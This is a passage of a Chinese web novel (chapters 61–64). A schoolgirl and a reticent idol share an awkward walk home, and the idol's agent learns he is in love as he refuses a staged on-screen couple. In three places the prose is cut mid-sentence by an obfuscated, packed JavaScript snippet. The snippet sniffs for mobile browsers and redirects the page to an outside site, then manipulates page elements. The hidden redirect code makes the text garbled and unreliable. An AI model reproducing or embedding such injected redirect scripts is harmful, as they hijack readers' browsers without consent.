她抬起湿漉漉的大眼睛,说:“……在楚港区那里。” “楚港区?” 黄怀予一愣。 “这么巧。” 她和苏琬以前的家也住楚港区。只不过她现在全家都住一中陪读街,苏琬一个人住学校宿舍。这么说起来,她也很久没回去过了。 她正想说“我送你回去”,结果下一秒旁边就闯进一个身影。 ——苏琬抓住了章妙的手臂,立刻抢过话头: “这么巧……我家也住楚港区。正好这周末我要回家一趟。” 苏琬下一秒就叫上了谷奕,拉上章妙往1969门口走去。 走之前还转过头,只给黄怀予留下了一句话: “我和谷奕一起送她。别担心!你去忙你的。” 才刚说完,三个人就消失在前面的大门处。 ? 黄怀予有些懵。 苏琬怎么突然要抢着送章妙回家?还把谷奕也一起带走了? 她还没思考出什么结果,转头余光就就扫到了角落里的一个金发身影。 ——楚恒低垂着头,独自倚在门边,两条长腿交叉伸直,手上轻轻捏着手机。 ……差点忘了他还在这。 她愣愣地盯着楚恒看了两秒钟,没想到下一刻楚恒就突然抬起头,目光与她直直地相接。 !! 她慌乱移开目光,耳根子逐渐染上一点红。 操。 她咬着牙,总算懂了苏琬为什么溜了。 “我和谷奕一起送她。别担心!你去忙你的。” …… 她忙她的? 她有什么可忙的? 黄怀予很不愿意承认她还能和这位完全不喜欢自己、也和自己的生活差得十万八千里的高人气帅哥有什么接触,她只觉得人最大的底线是应该有自知之明。 想到这里,她没再看向那个身影,只是匆匆回过头,走到李鸣月旁边。 “小姨,我回去了。” “这就回去了?别呀!” 李鸣月大呼小叫。 “现在才九点多!表演还有大半场嘞!” 黄怀予疲惫地摆摆手,“苏琬谷奕都走了,我一个人留在这里也没什么意思。” “而且,现在最重要的,是我还得回家想想如果万颖把今晚的事全部抖落出去,我要怎么从我家家手里活下来。” “……哦!”李鸣月像是才想起这一茬,“对哦!这可难办了!” ——乖乖女好学生学霸爆改酒吧常客,这种重磅消息对于家里两位老人来说应该有点太超过了。 “唉,算了。反正你先跟我统一口径吧。我先回去编个故事,编好了到时候告诉你,你别演砸了。” 她摆摆手,转身走了。 “哎哎哎!” 李鸣月从后面追上来揽住自己的脖子。 “你一个人回去?我找个人送你。” 1969在人民路酒吧街,离鸡鸣区还有点距离。现在这个点,楚门这种小城市也没有几辆公交车还在运营时间之内了,黄怀予只能一个人打出租车回去。 这么想想,是有点不安全,找个人送自己也行。 黄怀予点点头,站在原地,甚至都没有回头,就是没什么兴趣地等着。 反正,不是小周,就是小周的手下,小孙小吴小欧阳。 “行了,就他了。” “他送你回去啊。” 感受到身后的李鸣月拉了一个人过来,黄怀予没回头,疲惫地点点头,径直往前走。 …… 拉开1969的大门,夏夜的冷风迎面扑来。 黄怀予一下子有点清醒,抬头看了看夜空。 ——今夜月亮很淡,星星很亮。 就这样站在大门边立定看了几秒钟。 她身后那人,似乎也跟着她一起停了下来。 “好多星星啊。” 她感叹道。 “嗯。” 一声低沉的声音从身后传来,穿过沉沉的夜色。 ?! 黄怀予一顿。 不是她敏感,不是她用情太深,实在是那人平时说话太少,所以很容易被人记住他的声音。 所以,就这一个“嗯”字,她也听出来了。 “……” 她手有些发抖,慢慢转过身,果然就霎时间和那双如墨般的桃花眼,正正好好地对上。 “要不……还是换个人送我吧。麻烦你,多不好意思。” 楚恒平淡地看着她,瞳孔像玻璃一样映出她的身影。 “也不是第一次了。” “走吧。” 他迈开长腿,一下子走到了黄怀予的前面。 …… 又是这条路。 又是这两个人。 又是楚恒被李鸣月临危受命叫过来帮忙。 黄怀予抱着手臂慢吞吞在后面走着,心里憋着一股气。 总共也没见几次,没有一次正常的。 第一次跟他见面,她吐得胆汁都出来了。 第二次跟他见面,守了五年的暗恋秘密直接大公开。 第三次跟他见面,被仇人追杀狼狈地摔在他脚边。 第四次跟他见面,复杂的原生家庭在酒吧爆发剧烈冲突,一群人全是观众。 嗯嗯,好纯洁的开头,好单纯的故事。 …… 她一个人在后面慢吞吞地走着,低着头胡思乱想,结果下一秒就撞到前面那人突然停住的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252982|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 “嗷——” 黄怀予撞得太狠,痛得鼻子都疼了,眼泪都差点飙出来。 “你为什么突然停下来!” “那你为什么躲我。” “?” 黄怀予呆愣地连鼻子上的痛都忘记了,眼睛瞪得老大,看着前面那个沉默停在路中间的宽阔的背影。 她脸一下子变红,结结巴巴地大喊:“……没有,没有!” “我那是去厕所,谁说是在躲你?” 他转过身来,直截了当地盯着她。 “第一次,也是去厕所?” “……”黄怀予咬牙不承认,“对啊,水泼了我一裤子,我不去厕所去哪里!” 她说完,周围空气陷入安静。 她迎面对上楚恒的眼神,极其不服输地跟他对视。 她努力地在眼睛里装满认真、装满理直气壮,就像两人在1969里台上台下的那个对视一样,倔强地不愿意承认“输赢”。 半晌,她才看见楚恒缓缓眨了一下眼睛,似乎是突然笑了一下。 那个笑来得突然,像冰雪消融,一下子消散了他脸上一贯的冷意和漠然。 “我发了新歌。” 他突然说。 新歌? 他不是早就发了吗? 谷奕还在班里放了他们的MV,还逼全班承认他是整个团里最帅的…… 黄怀予没懂楚恒突然提起这一茬是为什么,她姑且觉得对方是在随意找话题。 “昂,我知道啊。” “你不是还微信里告诉过我吗。” 她随口一说。 “恭喜啊。” 没想到,面前男人听到“恭喜”这两个字,立刻走近一步,一瞬不瞬地盯着她。 “这两个字,你在微信里已经说过一遍了。” 黄怀予想到那天两个人没头没尾的对话,突然就有点生气。 那又怎么样?还不是因为他莫名其妙发信息过来,还天天跟沈一瑾郎才女貌地跳舞! “我是说了。” “……那你不是也没回吗。” 黄怀予小声嘟囔。 楚恒顿了一下,突然目光灼灼地看过来。 “你想让我回吗?” 黄怀予心里一跳。 她第一反应觉得楚恒是在反问她——可是楚恒目光清明,眼神直接,没有任何嘲讽或者揶揄之意。 他很执着,想要问的问题就一定要问个明白。 “……”她怔然,突然觉得他坚持想要一个答案的样子莫名像某种小动物。 她无法分清楚楚恒刚刚的话到底是不是一个真实的疑问句,于是只能扭过头,煞有介事地说: “你当然得回了!这是礼貌。” 男人盯她半晌,终于点点头。 “好。我记住了。” “那你也不能躲我。这也是礼貌。” “!”黄怀予差点噎住,扭过头移开视线,“……好。” 她声音越来越小:“我也记住了。” 说完,她又赶紧补充一句: “我平时学习可是很紧张的!我不回消息可是很正常的!这可不是躲,懂吗?” 树影沙沙,晚风阵阵。 城市的夜晚明亮清润,路灯微暖,星光冷淡。 楚恒就这样站在她面前,嘴角慢慢绽开浅淡的笑意,微微点点头。 飞驰而过的汽车车灯五颜六色,一瞬间打亮他深邃的眉眼。 紧接着下一瞬间,汽车轰鸣离开,灯光消失,他的脸和他嘴角边微小弧度的笑也隐匿了下去。 ——光明和黑暗。热闹和寂寞。说出口的话语和说不出口的情感。 …… 黄怀予像个傻子一样呆滞了三秒。 某些愈演愈烈的情绪,像夏夜风中的水蒸气,在没人看见的地方疯狂生长飘散繁殖。 62. 第 62 章 黄怀予不知道自己是怎么到家的。 反正一路上魂都是飘的,脚都是飞的,脑子都是昏沉的。 …… 洗完澡,她像一只死鱼一样躺在床上。 旁边扔着一只亮光的手机,手机屏幕上是某度浏览器页面: ——“寻医挂号网线上问诊,在线问专家”。 再往下,是一连串聊天记录。 “亲您好,请问您哪里不舒服?” “心脏疼。” “亲,具体是哪里疼呢?” “跳得很厉害,咚咚咚,很吵。脸很热,脑子昏沉,像个傻子。” “亲,请问您有没有心脏方面的病史?” “没有。” “亲,请问您是否有进行剧烈运动,或者任何极限、刺激项目?” “……有吧。” “亲,请问是什么刺激项目呢?” “我见到了一个人,跟他面对面说了很多话。” “亲,还有吗?” “他还抱了我。” “亲,还有吗?” “没了吧。” “亲,这不是极限刺激项目呢。” “……可是我觉得这比海盗船还刺激。” “亲,请问您今年多大?” “十七。” “……诊断中……” “亲,诊断结果出来了!初步诊断您为——少女怀春。” “以下是某三甲医院心理科副主任医师李国庆的建议。” “青春期期间,体内激素分泌水平旺盛,第二性征发育,会对感情充满好奇,会产生性冲动,会对他人产生好感和爱慕。但是青春期一定要树立正确的观念,避免出现过激的行为,必要时可向家长和老师寻求帮助。” 黄怀予目眦欲裂地盯着手机上“少女怀春”四个大字,感觉气得肝疼。 水一百度会开,人一百度会死! 她在心里大骂这个浏览器,大骂这个破网站。 骂了一圈,最后开始大骂楚恒。 为什么? 为什么已经有了沈一瑾却还跟没事人一样? 为什么不喜欢自己却还要来诱惑自己? …… 有吗? 可是他也一直都保持着正常距离,正常地上台表演,正常地关心她的手,正常地受李鸣月所托送她回来。 眼神那么清明,表情那么正派,态度那么坦然。 从头到尾,颤抖的只有她,惊慌失措的只有她,心脏疼到在某度上看病的只有她。 好吧。 他根本没有诱惑自己。 是她自己经不起诱惑。 ——黄怀予蔫了。 她的眼神又落在“少女怀春”四个字上。 她是饿了三天的老鼠,走在街上,看谁都像东北大米。 …… 黄怀予点开微信,点进“楚老师”的聊天框,发了一句话“互删,再见。”随后干脆利落地删除了联系人。 * 帝都,新娱公司。 梁吟东坐在小会议室里等着。 没过一会,门被拉开,一个高挑清瘦的身影走了进来。 来人穿着一件咖啡色硬挺面料的外套,深色长裤,简单背了一个包,插着口袋走了进来坐下。 “梁姐。” 梁吟东抬起头,却愣了一下。 ——楚恒难得没有戴帽子,金发垂下在额角,额头干净,衬得眉骨立体,整张脸英气无比。 “……” 她看着对方明亮的眼睛愣怔一瞬,然后笑了。 “来得这么早?” “昨天才从楚门回来,不用再多休息一会?” 楚恒前几天就来找她说要请假,一问果然是又要去楚门。 他能从在酒吧表演这件事里找到难得的乐趣,这已经足够让梁吟东惊讶了。 毕竟,跟楚恒认识这么久,她一直都以为他感情淡薄,没有爱好,没有兴趣,就算是主业唱歌跳舞也随着时间的变化越来越透着平静。 “最好可以让他有一点兴趣,和喜欢的东西。任何都可以。” ——听到心理老师这么说的时候,梁吟东甚至都觉得让楚恒去谈个恋爱也行。 只是,本人似乎完全没有这个意愿,只是每天日复一日沉默地生活。 所以,当看见楚恒居然有了想要去做的事情,梁吟东直接就同意了。 “你精神好了很多。” “这样也好。” 梁吟东感到有些高兴,这样,接下来的工作安排也能顺利很多。 她立刻就拿出一个文件夹,打开,推到了楚恒面前,脸上闪着轻松的笑。 “你先看看这个吧。” 文件夹被一只手按住,翻开,又停住。 梁吟东看着面前的楚恒低头看着文件上的字,看着看着表情却突然一凝,眉头轻轻地蹙了起来。 她以为是楚恒有些地方没看懂,立刻就开始解释道: “公司综艺第一期马上就要播出了。” “之前你和沈一瑾的CP视频热度很高,还没播就上了好几个热搜,当然红姐那边也是推了一把。这是很好的兆头,马上正片播出,要积极配合帮……” ——“CP?” 一道突兀的声音忽然响起,直接打断了梁吟东的话。 “……”她看了楚恒一眼,接着说,“对。CP视频。你们第一期舞台的练习室视频。” 没想到,她却看到楚恒皱起了眉,眼里似乎是一下子就冷了下来。 “那只是舞台的练习室。” “不是CP视频。” 他一字一句说道。 梁吟东一愣。 楚恒从来没有打断她说话过。 他从来没有这样强势地、直接地争取和表达自己的想法过。 “……”梁吟东顿了一下,直接说了实话,“公司宣传和主要方向以及整个公司综艺的最主要目的,就是公司内部男女爱豆CP。” “这也是明红最先开始提出来的想法。” “从一开始第一期选人、选歌、组成小分队、练习室视频意外火了,一直到主动推广,这一切,都是为了你们两个人的CP。” 这段话说完,梁吟东就立即看见,楚恒似是脸色一下就沉了下去。 ——“我从来没有说过要炒CP。” 梁吟东静静地看了他一会。 当时和STAR开内部会议的时候,梁吟东并没有提到CP的事,只说让成员们抓住综艺曝光机会好好表现。 她知道,赵焰一定知道“好好表现”的意思,不然他不会主动要求找陆橙搭档。 但是当时开会的时候楚恒只低头盯着手机魂不守舍,梁吟东可以百分百确认,他没懂“好好表现”是什么意思。 ……尽管到最后,他和沈一瑾的CP还是火了。 明明没有任何亲密接触,明明男方没有任何主动意愿,明明双方全程都公事公办,明明两人只是普通同事关系…… 无心插柳柳成荫,想要的反而得不到……所以,干这行,都靠命。 …… 楚恒此时正紧紧盯着她的眼睛,似乎是很想要一个答案和说法。 梁吟东决定实话实说。 “这是公司的决定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266725|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “并且……今天上午开会的时候,我和明红正式谈了一下,已经决定下季度的主要方向就是这个。” “配合公司综艺以及播出效果制造话题和热度。” 梁吟东眼见楚恒眼里的冷意越来越多,坐直了身子似有不解: “你和沈一瑾的CP效果很好,回报率很高。这是大家都愿意看到的事情。你有什么顾虑?” “……效果好?” 楚恒喃喃重复她的话。 下一秒,他就仿佛想到了什么,突然拿出手机,修长瘦削的手指点了几下。 梁吟东看一眼就知道他想看微博,于是直接说,“热搜现在是没了。之前最多的时候同时上了三个,持续了一周。” “不过,现在你还看可以去看CP超话,热度还在。” 屏幕上的手指抖了一下,终究还是依她之言,点开了超话。 楚恒点的动作并不快,并不熟悉,梁吟东知道他很少上网。如果不是有宣传,楚恒基本上大半个月都不会点开微博。 “恒瑾超话”几个字出现在手机屏幕上。 粉丝已经大量增长,帖子每天都有增加,随手往下划都是日期最近的评论。 “好配好配!” “练习室视频中毒了,一天不看浑身难受,谁懂?” “你们看练习室视频这里的细节,楚恒的动作好温柔,他超爱!” “……” 跨啦—— 白色手机被摔在了桌面上,发出一声沉闷的声响。 梁吟东有些惊讶。 面前的男生低着头,眉头紧皱,睫毛垂下,遮盖了那双眼睛里所有情绪。 “……原来是这样……” “原来是这样。” 他喃喃自语,眼里似有玻璃碎裂坍塌,像是突然明白了什么。 梁吟东试探着想要开口,结果下一秒就看见楚恒突然站了起来,抓起桌上的手机就急切地准备转身离开—— “楚恒!” 她瞳孔一缩,叫住他。 他停住了,没回头。 两人之间陷入几秒钟短暂而诡异的安静。 几秒钟后,梁吟东缓缓开口: “你换手机了。” ——不是疑问句,是肯定句。 男生的背影一滞,没说话。 “这是你第二次请假去楚门。” “如果我没猜错的话……” 梁吟东做了十几年艺人工作的清醒目光朝着那人的背影直直地射了过去,声音一字一句清晰无比。 “你不是因为1969才想去的。” “你是因为某一个人,才想去的。” “也是因为这个人,你才不愿意炒CP。” “对吗。” !! 前面少年的身影剧烈地抖了抖,垂在身侧的瘦削手指一下子收紧握成了拳。 …… 所有的话都说开了,所有的秘密都揭示了,所有的变化都有了来源。 会频繁看手机,会开始对着手机笑,会改变衣着打扮,会去一个从来没有去过的小城市,会对CP宣传工作那样抵触…… 梁吟东无法再为这些变化找任何别的理由。 ——尽管,如果不是亲眼所见,梁吟东绝对不会相信,这种事居然会发生在楚恒身上。 心理老师的话又在此时此刻突然极其合理地浮现在脑海里。 “最好可以让他有一点兴趣,和喜欢的东西。任何都可以。” …… 梁吟东慢慢站起了身,抱着手臂,脸上洋溢着一丝兴致的笑。 “你恋爱了。” 63. 第 63 章 楚恒活到现在,很少对什么东西产生兴趣。 同龄小孩子喜欢游戏,喜欢奥特曼,喜欢看电视,喜欢看小说。 他偶尔也做,偶尔也看,只是……称不上喜欢,不做也行。 后来长大了,在学校里也只是按部就班地跟着学习。 偶尔父母问:“你最喜欢哪一门课呀?” 楚恒小小的脸也没什么情绪起伏,只是沉默了两秒才说:“都差不多。” 再长大一点,他突然被学校里的音乐老师说唱歌很好听,于是又被叫去参加了学校合唱团。 每天放学后去训练,他混在人群里,盯着音乐老师的小小指挥棒晃来晃去,心里想,在这里打发一下时间也不错。 又长大一点,他机缘巧合在网上被一个之前一起打过游戏的男生加了好友。对方语气热烈,刷刷刷就开始每天给他分享生活日常,还动不动就飞到帝都过来找他玩。 他长得很高。楚恒在同龄人里已经高出了一头,但是他比楚恒还要高一点。 他和楚恒不同。他说他喜欢看星星,喜欢天文,喜欢打游戏,喜欢打篮球。 他问楚恒,你喜欢什么? 楚恒沉默。然后摇头。 他挠挠头,那你没有喜欢的,总有讨厌的吧!比如我,我讨厌英语!你呢? 楚恒想了半天,觉得“讨厌什么”这个问题比“喜欢什么”还要难以回答。 再后来,他莫名其妙被街上的一个人塞了一张名片。 ——“你长得条件很好。如果你有意愿的话,加入我们吧。” 说来也奇怪,楚恒这种连爱好和兴趣都没有的人,居然选择读书读到一半,跑去娱乐公司,当起了练习生。 “你图什么?” “你喜欢唱歌跳舞吗?” 父母问。 ——又是“喜欢”这个词。 是不是喜欢,楚恒真的不知道。 他只是想,如果和这个世界上其他所有事比起来,那么也许幼时用来打发时间的唱歌这件事,还能勉强称得上一种“偏向”。 ——是的,也只是“偏向”,不是“喜欢”。 楚恒见过谷奕那种对星星、篮球和电脑游戏的“喜欢”,他觉得自己这种一定不是真正的“喜欢”。 …… 再后来,就是暗无天日的练习生生活,以及就算出道了也更加暗无天日的糊咖生活。 他被排挤,被孤立。他知道,这叫“霸凌”。他还知道,“霸凌”的主导者,是一个他永远也惹不起掰不过的人。 于是,就这样,一天一天。 天越来越黑了。 他在这样长久的黑暗里,突然想明白了几年前那个困扰了他很久的问题。 “你没有喜欢的,总有讨厌的吧?” ——嗯。 他讨厌的是,这样永远学不会喜欢的自己。 楚恒其实是一个很直接的人。 直接到了极点,就显得很淡然。没有野心,没有欲望,没有希冀,没有色彩,没有情感。 他直接地知道自己像个木偶,也直接地这样讨厌着像个木偶的自己。 …… 所以,当这样的一张惨淡淡的白纸被泼上热辣厚重的油彩的时候,这张白纸的命运就已经昭然若揭了—— 他这平淡的、昏沉的、无趣的、煎熬的十八年,好像终于要结束了。 结束在一个十七岁女孩的手里。 并且,永永远远,生生世世,被烙上油彩的烙印。 她是黄颜色的。她是热烈仗义的。她是爱恨强烈的。她是活力生机的。 她喜欢吃油炸食品,喜欢吃高热量的东西,喜欢跑步,喜欢动脑子,喜欢笑,喜欢讲各种各样的笑话,喜欢在人群中成为永远的谈话焦点。 她喜欢大红大绿的颜色,喜欢夸张的配饰,喜欢幻想,喜欢身体接触,喜欢帮助别人,喜欢当学霸,喜欢当第一名,喜欢当不好惹的大姐头。 她喜欢曲折,喜欢波动,喜欢冲突。 她喜欢逞强,喜欢嘴硬,喜欢长得好看的皮囊,喜欢掩盖住自己脆弱的心。 ……无数种喜欢。 ……无数种“喜欢”。 他这么多年都没有找到的东西,却被她轻而易举从出生就拥有,并且理所当然地使用着、享受着、共同寄生绑定着。 她可以为这种喜欢,付出到无所顾忌——或者说,她本来就没有任何顾忌。那一瞬间对喜欢的满足,就已经足够解决所有副作用和后果。 她为了自己活着,为了情感活着,为了欲望活着。 她是野草,她是树苗,她是太阳,她是光。 天黑了。 天又亮了吗? 黑暗消失了吗? 雾气消散了吗? 噩梦魔逃走了吗? 嗯。 ——因为,太阳是万物之源。 太阳来了。 其他所有东西,都被打得落花流水了。 …… 楚恒轻轻对自己说: “再见。” 他看见那个自己讨厌的人,那个永远学不会喜欢的人,像一个鬼影,从他身体里钻出来,七窍生烟,丝丝缕缕,飘飘荡荡。 那鬼影从他身体里钻出来之后,终于慢慢慢慢又重新凝结成一个人形。 倏地一下,窗帘打开,那人瞬间暴露在太阳的光晕下,就像电影里的吸血鬼一样,燃起了青色的火焰。 烧吧。烧吧。一切都被烧得干干净净。 随后,万籁俱寂,五感封闭,世界好像又只剩他自己。 ——哦,不对,还有一个太阳。 “再见。” 他说。 那个学不会喜欢的人,已经被太阳活活烧死了。 可是他没法去责怪太阳,因为现在的他,是一个学会了喜欢的人。 ——他喜欢太阳。 * “你恋爱了。” 这是一句陈述句。 梁吟东脸上的笑还没消失,就看见前面那个少年一顿。 在漫长的十秒钟之后,他终于缓慢地转过身来,抬起脸,一双桃花眼直视着她。 然后,轻微但是肯定地,点了一下头。 !! 梁吟东觉得自己自从干了这行以来,脸上从来没有出现过这么精彩的表情。 她轻呵一声,微微歪头。 “楚恒啊楚恒。” “你。” 她笑出了声。 …… 十几年专业经纪人的职业素养迅速从血液里涌现了上来。 自家艺人承认恋爱了,下一步怎么办? ——专业做法:了解基本情况,制定详细计划,准备公关方案,嘱咐当事人瞒死,无意外不公开。 梁吟东重新坐了下来,打开手边的笔记本,已经迅速开始做好键盘打字的准备。 “说说吧,对方应该是素人吧?” “多大了?干什么的?知道你工作特殊性吗?” “不公开能接受吗?工作需要炒CP能接受吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281405|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说到这里,梁吟东突然想到刚刚楚恒关于CP那么大的反应,这才意识到什么。 “哦!” “那……她应该是不接受你炒CP。对吧。” 她偷偷笑了一下。 “你回去跟你女朋友说说吧。工作需要没办法。” 话音未落,对面的男生突然摇头。 “不是女朋友。” “现在,不是。” 梁吟东顿了一下:“还在追求中?是,你喜欢人家?” “……”楚恒似乎是在思考这句话,几秒之后,点点头。 梁吟东身体往后靠在椅子上,面色为难。 “那,就有点难办了啊。” “我知道,你有了喜欢的人,不想炒CP,也不想对方因为这个对你印象不好。” “但是,我们没有这个权力。” “起码现在没有。” 她说到这里,话语有点悲戚。 “艺人对于公司来说,只是商品。我们通常没有什么选择,只是做好本职工作,拿钱走人。” “你的生活可以千姿百态,无所禁忌。” “但是你的工作、你的公众形象,已经被公司完全买断了。这个状态之下的你,只要老老实实表演,完成公司的所有指示和命令。” “也许你会在工作中找到成就感,找到事业价值,甚至找到情感寄托。” “但是,工作永远是工作。生活才是生活。” 梁吟东看见楚恒逐渐低下了头,垂在身侧的手逐渐握成了拳头。 “楚恒,公司的决定,是你在综艺播出和宣传期间,配合营造和沈一瑾的荧幕CP。” “能做到吗?” 下一秒,她果不其然看见眼前挺拔瘦削的少年沉默着摇头。 一下。一下。动作缓慢,但是坚定。 ——他很少有这种直接表达意愿和坚持的时候。 是为了那个他喜欢的女生? 她看着面前这个已经认识了他快五年的少年。 长高了。比她高了两个头。 沉默地站在那里,背脊笔直,身姿挺拔,很瘦,像是一阵风就能吹倒,肤色苍白,一头金发亮眼得刺目。 但是那双眼睛,却直挺挺地、没有任何余地地,朝她径直射过来。 像豹子,像幽魂,像下雨路边被人抛弃的狗。 …… 梁吟东心突然被揪了一下。 或许到今天这一步,这一切的一切,都不是他应该承受的。 半晌,她终于叹了一口气,给出了最大的让步。 “……算了。” “你保持现状就好。” “意思是,你不用主动去做什么。” “唯一的任务,就是好好练习,好好表演,好好录节目。” “综艺是个很好的曝光机会,好好做舞台,也有可能有热度。” “剩下的,我会去做。” 她眼里透着不知道是同情还是无奈还是自责……之类的复杂情绪,梁吟东自己也不明白了。 “公司的计划已经决定不会更改。你做好本职工作,其他所有宣传工作都交给公司。我们互不干涉。” 他皱紧了眉,动了动,依然固执地开口: “梁姐——” “楚恒。” 她看着对面少年似乎是仍不甘心的澄澈眼睛,终于说出了那句话。 “只有自己先变得足够强大,才能做到想要做的事。” “你明白吗?” 64. 第 64 章 新娱公司家族综艺已经录制到了第二期。 这一期的主题是同性之间的小分队合作,可以来自同队,也可以来自不同队。 策划把“CP”这个主题进行得很彻底——异性CP是CP,同性CP当然也是CP。 “男团女团卖的都是CP。不卖姬不卖腐,那你卖红薯吗?” ——明红在会议上顺口说出了一句震惊四座的大实话。 新娱公司旗下,除了STAR和MOON之外,还有以下两个团: SOLAR女团,MOON的师姐团,新娱公司的第一个偶像团体,出道快九年的老团,有知名度路人缘但是死忠少。 国际分部的国际团UNIVERSE男团,主要在日韩发展,团粉多,内娱知名度一般。 …… 某八卦论坛上曾经有一篇很有名的精品长贴,《锐评内娱各大经纪公司团体发展现状》。 讲到新娱公司的时候,帖主、评论者和所有人都一致认为,沈一瑾是现在整个新娱公司偶像里最火的,也是最核心最有机会继续破出偶像圈子往上挤到新生代小花圈层的。 至于其他,SOLAR养老团,成员不缺钱接近解散。 UNIVERSE主要市场在海外,竞争对象都不一样,不过势头很猛,还可以稍微期待一下,只是新娱这狗一般的策划能力,也许第二年就把这个团作没了也不一定。 至于还有一个…… 哦,STAR。 妥妥的炮灰,无人在意,糊得安心。抬走吧,下一个。 所以当新娱公司录制家族综艺的消息传出来,并且沈一瑾和楚恒的练习室视频火上热搜的时候,这个断更很久的长贴终于复活更新了。 “楼主!你终于回来了!” “我想你想得好辛苦!” “我看出来了,楼主属性绝对是沈一瑾事业粉!别问我为什么看出来了,因为我也是!沈一瑾冲呀!” 帖主爆更三千字,洋洋洒洒写了对于这个综艺比赛的预测结果: “沈一瑾升咖0.5级,如果表现机会多,将可以争取到一些网剧女主角色。” “最后的胜利团体,要么是MOON,要么是UNIVERSE。” “最后的单人冠军,要么是沈一瑾,要么是UNIVERSE的Center,Joseph。” 评论: “所以还是没人在意STAR吗?无人在意的一生……” “楚恒不是跟沈一瑾炒CP吗?我觉得他也有可能靠这个起来也说不定啊。” “上面的,没可能。明眼人一看就知道,这个CP是沈一瑾那边想炒的,沈一瑾想转型小花,先得拿影视资源,就得转变形象。楚恒是个CP工具人,这个人是赵焰或者顾安都一样。” 哗啦啦一通讨论,网友七嘴八舌,又盖了几百楼。 * 第二期的录制,依然从抽票选搭档开始。 只是这一部分,水分也很大。 各个团体里,有想法的成员早就拉着自家经纪人去讨要目标人选了,甚至有的列出了一份志愿名单—— 第一志愿xxx,第二志愿xxx,一共列了五个人,毕竟,炒CP也要看对方意愿,万一前面的没看上你,还可以去找后面的呀! 第一期录制结束以后,参加比赛的成员们或多或少也能在之前爆火的沈一瑾楚恒练习室视频里看出什么苗头: 这个综艺是个很好的表现机会。最主要的途径,就是CP。 形式是CP,内容是能力、性格、魅力点的全方位展示。 谁能抓住机会,谁就能像沈一瑾楚恒那样,挂在热搜一个星期。 …… 而此时,被所有人都暗暗记挂提起的主人公,此时正一个人缩在练习室的角落里,瘦削单薄的身体像是与墙角融为一体,正失魂落魄地看着手机。 手机屏幕上是和“杯子”的微信聊天记录。 最后一排,静静躺着四个字: “互删,再见。” ——半夜发现这四个字时瞬间慌张发过去的新消息却顶着一个明晃晃的红色感叹号回来,楚恒没办法形容那一刻的心情,他只觉得脑子轰然一声像是有什么东西全然崩裂。 CP话题满天都是,她一定看见了。 不管他什么态度,有没有同意,事实都已经成为了事实。 楚恒不由得想,她会觉得自己和别人在一起了吗? ……如果是这样,她会觉得难过吗? 1969红红绿绿的灯光下,所有人的眼神都看不清,只有坐在台下第一排的她,直勾勾地迎上了他的目光,像是生气,像是对抗,像是不服输,充满晦暗的情绪。 那短短不到十秒钟的对视,好像能穿过层层云雾和射线,笔直照进他心里。 ——是因为CP,所以她那天才会躲着自己吗? 楚恒陈旧的心因为这一点点猜想,竟然莫名变得有一丝丝雀跃。如果是这样,那能不能说明,她对他也是在意的? 在意。不是喜欢,不是心动,楚恒看不见这些更深层次的情感,他只能执拗地等待一个在意的定义。 …… 于是早上十点钟,顾安一拉开练习室的门,就看见了这样一幕。 ——楚恒穿着深色T恤,坐在墙角,靠着镜子,额角的发丝被汗水打湿。 练习室空空荡荡,他看样子已经在里面练了一个多小时了。 旁边放着包,他坐在角落,整个人被一股巨大的低沉阴郁所笼罩,低着头紧紧盯着手里的手机,一瞬不瞬,手握得极为用力,像是要把手机捏碎。 顾安停下脚步,站定。 听到门口传来脚步声,楚恒都一动不动,像是完全没听见。 直到顾安又往里面走了几步,一直走到他面前,近到低下头就可以看见他手机屏幕上的内容,他才抬起了头,冰冷地看了一眼自己,按灭手机放在胸前。 ——那一眼明晃晃的,带着尖锐的冷意,眼里布满血丝,眼下乌青,面颊消瘦,像是一夜未眠。 他身上有些煞人的冷气,顾安自觉顿住脚步。 楚恒怎么了? 顾安愣怔一瞬,随后立刻在心里嗤笑一声。 还能怎么了?今天综艺第二期抽签,当然是关于选搭档的事。 大家都在为了这个事到处奔走。否则,还能有什么其他事? 说是不在意,说是清高,说是对什么都不关心。 说不愿意炒CP,说对沈一瑾很公事公办。 最后上热搜的不还是他? 为了下一期比赛选人而睡不着的不还是他? 顾安眼里越来越冷。 ——是啊。楚恒本来就是这么一个假清高的人。 否则,他怎么会被团里其他人排挤? 他应得的。 顾安站在原地,半晌,开口。 “梁姐通知大家去六楼会议室抽签。” “有摄像机,开拍了。” …… 楚恒来到会议室的时候,很远就看见门口围着几个人。影影绰绰,可以看见好几台摄像机,架在三脚架上,一闪而过。 刚走进去,突然会议室里就传来几声轻松的笑声: “楚恒!来晚了啊!” 